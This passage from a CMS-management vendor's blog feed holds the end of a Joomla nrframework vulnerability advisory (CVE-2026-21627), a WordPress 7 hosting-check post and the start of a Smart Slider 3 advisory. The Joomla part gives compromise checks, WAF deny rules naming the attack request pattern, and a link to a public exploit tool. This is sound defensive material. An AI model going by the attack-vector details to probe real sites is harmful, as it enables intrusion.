&lt;p&gt;&lt;strong&gt;Unauthorised admin accounts:&lt;/strong&gt; Go to &lt;strong&gt;Users &amp;gt; Manage&lt;/strong&gt; and look for admin accounts you don&apos;t recognise. Pay special attention to accounts created after 16 February 2026 (the public disclosure date). Attackers who extract session tokens via SQL injection may create persistent admin accounts as a fallback.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unexpected PHP files:&lt;/strong&gt; Search writable directories for recently created PHP files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find /path/to/joomla -name &quot;*.php&quot; -newer /path/to/joomla/configuration.php -type f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Focus on &lt;code&gt;/tmp/&lt;/code&gt;, &lt;code&gt;/images/&lt;/code&gt;, &lt;code&gt;/media/&lt;/code&gt;, &lt;code&gt;/cache/&lt;/code&gt;, and &lt;code&gt;/administrator/cache/&lt;/code&gt;. These are common drop locations for uploaded shells.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Modified template files:&lt;/strong&gt; Attackers with admin access often inject code into &lt;code&gt;index.php&lt;/code&gt; in your active template directory. Compare hashes against a clean copy:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find /path/to/joomla/templates -name &quot;index.php&quot; -exec md5sum {} \;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any mismatch against a known-good installation warrants investigation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Database tampering:&lt;/strong&gt; If you suspect SQL injection was used, check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;#__session&lt;/code&gt; for sessions belonging to user IDs you don&apos;t recognise&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#__users&lt;/code&gt; for accounts with Super User group membership that you didn&apos;t create&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#__content&lt;/code&gt; (articles) for injected &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, hidden iframes, or base64-encoded strings&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#__extensions&lt;/code&gt; for plugins or components you didn&apos;t install, particularly anything with high ordering values (9999 is a common attacker pattern we&apos;ve seen &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;with the Astroid exploit&lt;/a&gt; too)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you find evidence of compromise, updating nrframework alone won&apos;t help. You need a full cleanup: remove backdoors, revoke compromised sessions, change database credentials, and scan the entire file system. If your &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla site has been hacked&lt;/a&gt;, our recovery guide walks through the process.&lt;/p&gt;
&lt;h2&gt;How do you fix it?&lt;/h2&gt;
&lt;h3&gt;Option 1: Update through the Joomla admin panel&lt;/h3&gt;
&lt;p&gt;If your Tassos.gr subscription is active, updates are available through Joomla&apos;s built-in updater:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Update &amp;gt; Extensions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find the Tassos extensions in the update list&lt;/li&gt;
&lt;li&gt;Update them all - the nrframework plugin will update automatically with the parent extension&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Option 2: Download and install manually&lt;/h3&gt;
&lt;p&gt;Download the latest versions from &lt;a href=&quot;https://www.tassos.gr/&quot;&gt;Tassos.gr downloads&lt;/a&gt; and install them through &lt;strong&gt;System &amp;gt; Install &amp;gt; Extensions&lt;/strong&gt;. The installer will overwrite the vulnerable files.&lt;/p&gt;
&lt;h3&gt;Option 3: Disable immediately if you can&apos;t update yet&lt;/h3&gt;
&lt;p&gt;If you can&apos;t update right now (expired subscription, compatibility concerns, testing required), disable the plugin as an interim measure:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Manage &amp;gt; Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Search for &lt;code&gt;nrframework&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Disable plg_system_nrframework&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
  &lt;p&gt;Disabling the plugin will break any functionality that depends on it. Convert Forms won&apos;t work. EngageBox popups won&apos;t appear. But a broken contact form is better than a compromised server. Disable, update properly during a maintenance window, then re-enable.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Uninstalling the parent extension doesn&apos;t always remove nrframework&lt;/h3&gt;
&lt;p&gt;If you&apos;ve decided to remove Convert Forms, EngageBox, or another Tassos component entirely rather than update, check afterwards that &lt;code&gt;plg_system_nrframework&lt;/code&gt; is actually gone. In some circumstances the framework plugin is left behind when the parent component is uninstalled, which means the vulnerable code path is still reachable and mySites.guru will keep flagging the site.&lt;/p&gt;
&lt;p&gt;Go to &lt;strong&gt;System &amp;gt; Manage &amp;gt; Extensions&lt;/strong&gt;, filter by &lt;code&gt;nrframework&lt;/code&gt;, and if the plugin is still listed, uninstall it directly from there. Only once the plugin row has disappeared is the site clean.&lt;/p&gt;
&lt;h3&gt;WAF rules as a stopgap&lt;/h3&gt;
&lt;p&gt;If you have a Web Application Firewall (ModSecurity, Cloudflare WAF, or similar), you can block the attack vector at the server level:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Block nrframework AJAX task=include requests
SecRule ARGS:plugin &quot;nrframework&quot; &quot;id:100001,phase:1,deny,chain&quot;
  SecRule ARGS:task &quot;include&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This blocks the primary attack vector while leaving other &lt;code&gt;com_ajax&lt;/code&gt; functionality intact. It&apos;s a temporary measure, not a replacement for patching.&lt;/p&gt;
&lt;p&gt;For nginx, the equivalent rule:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Block nrframework AJAX task=include requests
if ($args ~* &quot;plugin=nrframework.*task=include&quot;) {
    return 403;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you use Cloudflare, you can create a WAF custom rule that blocks requests where the URI query string contains both &lt;code&gt;plugin=nrframework&lt;/code&gt; and &lt;code&gt;task=include&lt;/code&gt;. This provides protection at the edge before the request ever reaches your server.&lt;/p&gt;
&lt;h2&gt;What about WordPress sites?&lt;/h2&gt;
&lt;p&gt;This vulnerability is Joomla-specific. The Tassos/Novarain Framework is a Joomla plugin and has no WordPress equivalent. If you manage a mixed portfolio of Joomla and WordPress sites, only the Joomla sites need checking for this particular issue.&lt;/p&gt;
&lt;p&gt;That said, WordPress has its own share of critical plugin vulnerabilities this month. &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;CVE-2026-1357 in WPvivid Backup&lt;/a&gt; (CVSS 9.8) affects 900,000+ sites with a similar unauthenticated RCE pattern. The common thread is the same: plugins that handle file operations with insufficient access controls.&lt;/p&gt;
&lt;p&gt;If you manage both Joomla and WordPress sites, a &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;single dashboard that covers both&lt;/a&gt; saves you from checking two separate ecosystems manually. When a critical CVE drops, the last thing you want is to be logging into 50 different admin panels across two different CMS platforms, checking extension versions one site at a time. That&apos;s how vulnerabilities stay unpatched for six weeks while a public exploit circulates on GitHub.&lt;/p&gt;
&lt;h2&gt;The pattern: AJAX endpoints without proper authorization&lt;/h2&gt;
&lt;p&gt;This is the third CMS plugin vulnerability we&apos;ve written about in March 2026 where the root cause is the same: an AJAX endpoint that accepts requests it shouldn&apos;t. And as of today, even Joomla core is patching the same class of issue.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Novarain Framework (CVE-2026-21627)&lt;/strong&gt; - Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; endpoint routes requests to &lt;code&gt;plg_system_nrframework&lt;/code&gt;, which whitelists the &lt;code&gt;include&lt;/code&gt; task for unauthenticated users. No permission check at all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Astroid Framework (&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;CVE-2026-21628&lt;/a&gt;)&lt;/strong&gt; - Joomla&apos;s AJAX handler validates the CSRF token but never checks if the user is logged in as an admin. Token from the public login page is enough.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart Slider 3 (&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;CVE-2026-3098&lt;/a&gt;)&lt;/strong&gt; - WordPress &lt;code&gt;wp_ajax&lt;/code&gt; actions validate a nonce but don&apos;t check user capabilities. A subscriber account is enough to trigger the export function and read any file on the server.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla core &lt;code&gt;com_ajax&lt;/code&gt; (&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;5.4.4 / 6.0.4&lt;/a&gt;)&lt;/strong&gt; - Released March 31, 2026. Joomla itself needed ACL hardening on &lt;code&gt;com_ajax&lt;/code&gt;. The framework that routes AJAX requests for every plugin in the ecosystem had the same authorization gap as the plugins built on top of it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Elementor, Yoast SEO, WPForms, and Really Simple Security&lt;/a&gt;&lt;/strong&gt; - Four major WordPress plugins patched critical vulnerabilities in March 2026. Not all AJAX-related, but part of the same broader pattern of plugin security failures happening simultaneously across the WordPress ecosystem.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The root cause is the same across all four: the AJAX handler authenticates the request (or doesn&apos;t even bother) but never authorises the action. A nonce proves someone is logged in. A CSRF token proves the request came from your site. Neither one proves the user has permission to do what they&apos;re asking.&lt;/p&gt;
&lt;p&gt;Both Joomla and WordPress make it easy to register AJAX handlers. They don&apos;t make it easy to get the authorization right. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; routes requests to any system plugin with a matching task name, and it&apos;s up to the plugin to check permissions. WordPress&apos;s &lt;code&gt;wp_ajax_{action}&lt;/code&gt; fires for any logged-in user by default - you have to explicitly add &lt;code&gt;current_user_can()&lt;/code&gt; checks. In both cases, the framework provides the plumbing but not the guardrails. Joomla 5.4.4 and 6.0.4 shipping ACL hardening for &lt;code&gt;com_ajax&lt;/code&gt; itself tells you how deep the problem goes - the routing layer that plugins depend on had the same gap.&lt;/p&gt;
&lt;p&gt;If you develop Joomla extensions or WordPress plugins, treat every AJAX handler as a public endpoint until you&apos;ve explicitly proven otherwise. Check capabilities, not just tokens. Four AJAX authorization failures in one month, across two CMS platforms and their core frameworks, should settle any debate about whether this is a priority.&lt;/p&gt;
&lt;p&gt;It&apos;s the same hidden dependency problem we covered earlier. CVE-2026-21627 and CVE-2026-21628 both target framework plugins that admins don&apos;t know are installed. When those frameworks have vulnerable AJAX endpoints, nobody checks for updates because nobody knows the plugin is there.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;January 2026&lt;/td&gt;
&lt;td&gt;CVE-2026-21627 reserved&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16 February 2026&lt;/td&gt;
&lt;td&gt;SSD Secure Disclosure publishes full vulnerability details&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18 February 2026&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.tassos.gr/blog/company/security-update-tassos-framework-patch-released&quot;&gt;Tassos.gr publishes security advisory&lt;/a&gt; and confirms patched versions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20 February 2026&lt;/td&gt;
&lt;td&gt;CVE formally published and NVD entry created&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26 February 2026&lt;/td&gt;
&lt;td&gt;Public exploit tool with multiple attack modes &lt;a href=&quot;https://github.com/yallasec/CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla&quot;&gt;published on GitHub&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30 March 2026&lt;/td&gt;
&lt;td&gt;3,861 of 8,297 affected mySites.guru sites (46.5%) remain unpatched&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Credit: the vulnerability was discovered by researcher &lt;strong&gt;p1r0x&lt;/strong&gt; working with &lt;a href=&quot;https://ssd-disclosure.com/joomla-novarain-tassos-framework-vulnerabilities/&quot;&gt;SSD Secure Disclosure&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tassos.gr/blog/company/security-update-tassos-framework-patch-released&quot;&gt;Tassos.gr official security advisory&lt;/a&gt; - the vendor&apos;s own response with patched version numbers for each extension on Joomla 3 and Joomla 4/5/6&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ssd-disclosure.com/joomla-novarain-tassos-framework-vulnerabilities/&quot;&gt;SSD Secure Disclosure - Joomla! Novarain/Tassos Framework Vulnerabilities&lt;/a&gt; - the original disclosure with full technical details and attack chain walkthrough&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/yallasec/CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla&quot;&gt;CVE-2026-21627 exploit on GitHub&lt;/a&gt; - the public proof-of-concept tool with verify, upload, delete, and RCE modes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21627&quot;&gt;CVE-2026-21627 official record&lt;/a&gt; - the authoritative CVE entry from MITRE/CVE.org&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.threatint.eu/CVE/CVE-2026-21627&quot;&gt;CVE-2026-21627 on THREATINT&lt;/a&gt; - CVSS scoring, CWE classification (CWE-284), and affected version ranges&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; - Joomla&apos;s official security advisory feed for core and extension vulnerabilities&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - the cross-CMS pattern behind Novarain, Astroid, Smart Slider 3, and Joomla core AJAX vulnerabilities&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads CVE-2026-0740&lt;/a&gt; - the same AJAX handler authorisation pattern on WordPress, CVSS 9.8 unauthenticated RCE affecting around 50,000 sites&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Check your sites now.&lt;/strong&gt; If you manage Joomla sites and you&apos;re not sure whether nrframework is installed, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free security audit&lt;/a&gt; on any site - no credit card, no commitment. You&apos;ll see every extension installed, its version, and whether it&apos;s flagged. For sites already compromised, our &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked recovery guide&lt;/a&gt; covers the full cleanup process.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>novarain</category><category>tassos</category><category>convert-forms</category><category>engagebox</category><enclosure url="https://mysites.guru/_astro/novarain-framework-joomla-vulnerability.QaIqMyK2.png" length="0" type="image/png"/></item><item><title>WordPress 7 Technical Requirements Check: Is Your Hosting Ready?</title><link>https://mysites.guru/blog/wordpress-7-technical-requirements-check/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-7-technical-requirements-check/</guid><description>WordPress 7 requires PHP 7.4+ and MySQL 8.0+. Run a free hosting check across your entire portfolio to find which sites meet the technical requirements.</description><pubDate>Sat, 28 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;Update (21 May 2026): WordPress 7.0 &quot;Armstrong&quot; has shipped.&lt;/p&gt;
  &lt;p&gt;WordPress 7.0 was released on 20 May 2026. &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;mySites.guru is fully compatible&lt;/a&gt; and the hosting check below is still the fastest way to see which sites meet the PHP 7.4 and MySQL 8.0 floors.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;WordPress 7.0 was originally targeting April 9, 2026, but the release has been delayed. It raises the floor: PHP 7.2 and 7.3 are gone, MySQL 8.0 is the new minimum. If you manage a handful of WordPress sites, checking each one manually is tedious. If you &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage dozens or hundreds of WordPress sites&lt;/a&gt;, it&apos;s not realistic.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7 Compatibility Checker&lt;/a&gt; in mySites.guru scans every connected WordPress site and shows you exactly which ones meet the new requirements and which don&apos;t. Connect &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt; to your account and check them all from one screen. It&apos;s included in all &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscriptions&lt;/a&gt; at no extra cost.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Check all your WordPress sites for 7.0 compatibility&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;Open WordPress 7 Compatibility Checker&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Colour-codes every connected site&apos;s PHP version, database version, and auto-update status against the WordPress 7.0 requirements.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What the WordPress 7 Hosting Check Shows&lt;/h2&gt;
&lt;p&gt;The tool lists every WordPress site connected to your account. For each one, you see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The currently installed WordPress version&lt;/li&gt;
&lt;li&gt;Which hosting server the site runs on (hostname)&lt;/li&gt;
&lt;li&gt;Whether &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; is set in wp-config.php&lt;/li&gt;
&lt;li&gt;PHP version, colour-coded against the 7.0 requirements&lt;/li&gt;
&lt;li&gt;Database version (MySQL or MariaDB), also colour-coded&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;span&gt;Red&lt;/span&gt; means below minimum. &lt;span&gt;Yellow&lt;/span&gt; means it meets the minimum but not the recommended version. &lt;span&gt;Green&lt;/span&gt; means the recommended version or better. Sites that need action stand out immediately.&lt;/p&gt;
&lt;h2&gt;Red, Yellow, Green: What Each Colour Means&lt;/h2&gt;
&lt;p&gt;The tool uses three tiers:&lt;/p&gt;
&lt;div&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;Colour&lt;/th&gt;
        &lt;th&gt;PHP&lt;/th&gt;
        &lt;th&gt;MySQL&lt;/th&gt;
        &lt;th&gt;MariaDB&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt; &lt;span&gt;Recommended&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
        &lt;td&gt;8.3+&lt;/td&gt;
        &lt;td&gt;8.4+ (LTS)&lt;/td&gt;
        &lt;td&gt;11.4+ (LTS)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt; &lt;span&gt;Minimum&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
        &lt;td&gt;7.4 - 8.2&lt;/td&gt;
        &lt;td&gt;8.0 - 8.3&lt;/td&gt;
        &lt;td&gt;10.6 - 11.3&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt; &lt;span&gt;Below minimum&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
        &lt;td&gt;&amp;lt; 7.4&lt;/td&gt;
        &lt;td&gt;&amp;lt; 8.0&lt;/td&gt;
        &lt;td&gt;&amp;lt; 10.6&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;Yellow means your site will run WordPress 7.0, but we recommend upgrading to the current Long Term Support releases (MySQL 8.4 or MariaDB 11.4) when you can. WordPress officially requires MySQL 8.0 / MariaDB 10.6 as the floor.&lt;/p&gt;
&lt;p&gt;If you&apos;ve used our &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 compatibility checker&lt;/a&gt; or &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla5/compatibility&quot;&gt;Joomla 5 compatibility checker&lt;/a&gt;, you&apos;ll recognise the format. Same approach, adapted for the WordPress 7 requirements.&lt;/p&gt;
&lt;h2&gt;Where Do I Find the WordPress 7 Compatibility Checker?&lt;/h2&gt;
&lt;p&gt;The quickest way is the keyboard shortcut: press &lt;code&gt;c&lt;/code&gt; then &lt;code&gt;7&lt;/code&gt; (lowercase c, then the number 7).&lt;/p&gt;
&lt;p&gt;You can also open the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; with &lt;code&gt;Cmd+K&lt;/code&gt; (or &lt;code&gt;Ctrl+K&lt;/code&gt; on Windows/Linux), type &quot;wordpress 7&quot; or &quot;compat&quot;, and press Enter.&lt;/p&gt;
&lt;p&gt;Or go straight to the URL: &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;https://manage.mysites.guru/en/tools/wordpress7/compatibility&lt;/a&gt; (you need to be logged in).&lt;/p&gt;
&lt;p&gt;The tool also appears on the &lt;a href=&quot;https://manage.mysites.guru/en/tools/tools/selector&quot;&gt;tools selector page&lt;/a&gt; alongside all the other diagnostic tools.&lt;/p&gt;
&lt;h2&gt;The Auto-Updates Column&lt;/h2&gt;
&lt;p&gt;WordPress has a built-in automatic updater controlled by the &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; constant in &lt;code&gt;wp-config.php&lt;/code&gt;. The tool checks this for every site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;Green&lt;/span&gt; (Disabled) means auto-updates are off. You control when WordPress 7.0 gets applied.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;Yellow&lt;/span&gt; (Enabled) means auto-updates are on. The site may upgrade to 7.0 on its own before you&apos;ve verified hosting compatibility.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why Does mySites.guru Recommend Disabling Auto-Updates?&lt;/h2&gt;
&lt;p&gt;WordPress auto-updates sound sensible until you&apos;re responsible for client sites, WooCommerce stores, or anything where downtime costs money:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A major version upgrade like 7.0 ships with database changes, new defaults, and deprecated functions. Plugins that worked yesterday can throw errors today.&lt;/li&gt;
&lt;li&gt;Plugin and theme auto-updates can break layouts, conflict with other plugins, or introduce bugs without warning.&lt;/li&gt;
&lt;li&gt;Updates during peak traffic cause temporary downtime, especially on shared hosting.&lt;/li&gt;
&lt;li&gt;There&apos;s no built-in rollback. If an update breaks something at 3am, the site stays broken until someone notices.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The 6.9 to 7.0 jump is exactly the kind of upgrade you want to control. We saw what happens when you don&apos;t: &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 crashed websites&lt;/a&gt; that had auto-updates enabled. A site on PHP 7.3 won&apos;t get 7.0 at all (WordPress blocks it), but a site on PHP 7.4 with an untested plugin stack could auto-upgrade and break before you&apos;ve had a chance to test anything.&lt;/p&gt;
&lt;p&gt;What we recommend: set &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; to stop all background updates, then set &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; to &lt;code&gt;minor&lt;/code&gt; so security patches (like 7.0.1, 7.0.2) still apply automatically. Point releases land on their own, major version jumps wait for you.&lt;/p&gt;
&lt;p&gt;mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable auto-updates across all your sites with one click per site&lt;/a&gt; from a single screen. No SSH, no editing wp-config.php on every server. You can also &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforce minor upgrades only&lt;/a&gt; if you want a middle ground. And if you&apos;re curious what other wp-config constants are worth understanding, we wrote a guide to &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug constants&lt;/a&gt; that covers the full set.&lt;/p&gt;
&lt;h2&gt;WordPress 7 Minimum Technical Requirements&lt;/h2&gt;
&lt;p&gt;WordPress 7.0 raises two floors from WordPress 6.9:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PHP minimum moves from 7.2.24 to 7.4. PHP 8.3+ is recommended.&lt;/li&gt;
&lt;li&gt;MySQL minimum moves from 5.5.5 to 8.0. MySQL 8.4 LTS is recommended.&lt;/li&gt;
&lt;li&gt;MariaDB 10.6 minimum (unchanged from 6.9&apos;s recommended). MariaDB 11.4 LTS is recommended.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sites that don&apos;t meet the PHP or MySQL minimum won&apos;t be offered the WordPress 7.0 update. They stay on the 6.9 security branch until the hosting is upgraded. For the full breakdown of what changed and why, see our &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-requirements/&quot;&gt;WordPress 7.0 requirements post&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What If My Host Doesn&apos;t Meet the Minimum?&lt;/h2&gt;
&lt;p&gt;If your hosting provider is still running PHP 7.2 or MySQL 5.7, that&apos;s a bigger problem than WordPress compatibility. MySQL 5.7 extended support from Oracle ended in October 2023. PHP 7.2 reached end-of-life in November 2020. Running either in 2026 means your server has known, unpatched security vulnerabilities regardless of what CMS is on it.&lt;/p&gt;
&lt;p&gt;Most hosts let you change PHP versions from cPanel or Plesk without a support ticket. MySQL upgrades are usually on the host&apos;s side. If they haven&apos;t upgraded to MySQL 8 by now, the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 5 MySQL 8 migration wave&lt;/a&gt; already pressured most providers to move, so check with your host. If they still can&apos;t offer MySQL 8, it might be time to switch.&lt;/p&gt;
&lt;p&gt;Use the compatibility checker to filter by server hostname. That groups all your sites on the same host together, so you can see at a glance which hosting providers need attention. Once hosting is sorted, you can &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;upgrade all your WordPress sites from one dashboard&lt;/a&gt; rather than logging into each one individually.&lt;/p&gt;
&lt;h2&gt;Questions?&lt;/h2&gt;
&lt;p&gt;If anything&apos;s unclear, reach out through the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact form&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;A few other things worth sorting before the release: &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;plugin vulnerability alerting&lt;/a&gt; catches security issues across your portfolio, &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;locking down plugin installs&lt;/a&gt; prevents clients from adding untested plugins right before a major upgrade, and &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate monitoring&lt;/a&gt; makes sure expired certs don&apos;t add to the chaos during the transition.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>php</category><category>hosting</category><category>updates</category><category>compatibility</category><enclosure url="https://mysites.guru/_astro/wordpress-7-technical-requirements-check.DKHdeIl9.png" length="0" type="image/png"/></item><item><title>Smart Slider 3 Hack Allows Any File to Be Downloaded</title><link>https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/</link><guid isPermaLink="true">https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/</guid><description>CVE-2026-3098 lets any subscriber download wp-config.php from 800,000 WordPress sites running Smart Slider 3. How to check and fix it.</description><pubDate>Fri, 27 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Critical update — April 8, 2026&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;Smart Slider 3 Pro &lt;span&gt;3.5.1.35&lt;/span&gt; was a supply-chain attack&lt;/div&gt;
&lt;/div&gt;
